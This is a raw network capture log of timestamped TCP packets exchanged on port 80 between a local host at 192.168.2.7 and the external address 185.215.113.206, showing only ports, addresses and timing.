Nov 19, 2024 20:05:51.136909008 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.136961937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.136974096 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.136984110 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.136984110 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.136984110 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.136986971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137001991 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137053013 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137053013 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137053013 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137082100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137093067 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137105942 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137116909 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137129068 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137166023 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137166023 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137166023 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137245893 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137258053 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137269020 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137281895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137293100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137304068 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137317896 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137348890 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137348890 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137348890 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137430906 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137443066 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137454987 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137538910 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137540102 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137538910 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137538910 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137538910 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137554884 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137567997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137579918 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137679100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137691975 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137691975 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137691975 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137698889 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137718916 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137729883 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137741089 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137744904 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137757063 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137768984 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137780905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137780905 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137780905 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137912989 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137912989 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.137949944 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137962103 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137974024 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137979984 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137985945 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.137996912 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.138009071 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.138020992 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.138047934 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.138047934 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.138047934 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.138047934 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.138231039 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.138242006 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.138252974 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.138266087 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.138277054 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.138288975 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.138300896 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.138305902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.138305902 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.138314009 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.138326883 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.138339996 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.138622046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.138622046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.138622046 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.165678978 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.165694952 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.165708065 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.165730953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.165741920 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.165754080 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.165767908 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.165817022 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.165817022 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.165817022 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.165870905 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.165883064 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.165894985 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.165908098 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.165923119 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.165935993 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.165949106 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.165961027 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.165961027 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.165961027 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166019917 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166023016 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166034937 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166049957 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166063070 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166075945 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166089058 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166102886 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166114092 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166114092 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166114092 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166158915 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166172028 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166183949 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166239977 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166239977 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166239977 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166285992 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166299105 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166310072 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166322947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166368008 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166380882 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166409016 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166409016 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166409016 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166409016 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166443110 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166454077 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166465044 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166476965 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166488886 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166508913 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166508913 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166570902 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166584015 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166594982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166606903 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166618109 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166630030 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166641951 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166655064 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166682005 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166682005 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166682005 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166682005 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166759968 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166851044 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166867971 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166881084 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166887045 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166887045 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166887045 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166893005 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166906118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.166919947 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.166919947 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.167085886 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.167097092 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.167109013 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.167119980 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.167129993 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.167129993 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.167130947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.167129993 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.167145014 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.167156935 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.167170048 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.167184114 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.167196035 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.167224884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.167224884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.167224884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.167224884 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.167341948 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.223871946 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.223889112 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.223908901 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.223920107 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.223932981 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.223942041 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.223946095 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.223998070 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224011898 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224046946 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224047899 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224047899 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224052906 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224065065 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224091053 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224102974 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224102974 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224134922 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224148989 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224148989 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224164009 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224178076 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224190950 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224257946 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224258900 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224258900 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224258900 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224308014 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224327087 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224339962 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224353075 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224365950 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224376917 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224390984 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224400043 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224400043 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224400043 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224431992 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224443913 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224455118 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224492073 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224492073 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224493027 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224520922 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224533081 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224544048 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224658966 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224669933 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224679947 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224682093 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224695921 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224711895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224725008 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224736929 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224750042 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224750042 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224750042 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224750996 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224822998 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224822998 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224849939 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224860907 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224872112 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224884033 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224900961 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224912882 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224915028 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224925995 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224939108 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224951029 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.224957943 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.224957943 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.225033045 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.225033045 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.225053072 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.225065947 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.225079060 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.225090981 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.225102901 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.225115061 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.225145102 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.225145102 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.225145102 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.225182056 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.225204945 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.225217104 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.225229979 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.225241899 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.225254059 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.225266933 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.225281000 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.225296021 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.225296021 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.225296021 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.225343943 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.252567053 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.252590895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.252604008 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.252624035 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.252654076 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.252661943 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.252661943 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.252666950 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.252680063 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.252702951 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.252717018 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.252723932 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.252723932 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.252729893 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.252743006 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.252774000 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.252799988 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.252813101 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.252815008 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.252815008 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.252827883 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.252844095 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.252886057 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.252886057 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.252886057 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.252902031 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.252923965 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.252937078 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.252949953 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253000975 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253000975 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253026009 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253038883 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253051996 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253065109 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253119946 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253119946 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253150940 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253160954 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253173113 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253187895 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253199100 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253216982 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253266096 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253266096 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253266096 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253266096 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253288031 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253324986 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253336906 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253349066 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253361940 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253372908 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253385067 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253396034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253396034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253396034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253396034 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253424883 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253449917 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253463030 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253473997 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253487110 CET	80	52448	185.215.113.206	192.168.2.7
Nov 19, 2024 20:05:51.253526926 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253526926 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253526926 CET	52448	80	192.168.2.7	185.215.113.206
Nov 19, 2024 20:05:51.253613949 CET	80	52448	185.215.113.206	192.168.2.7
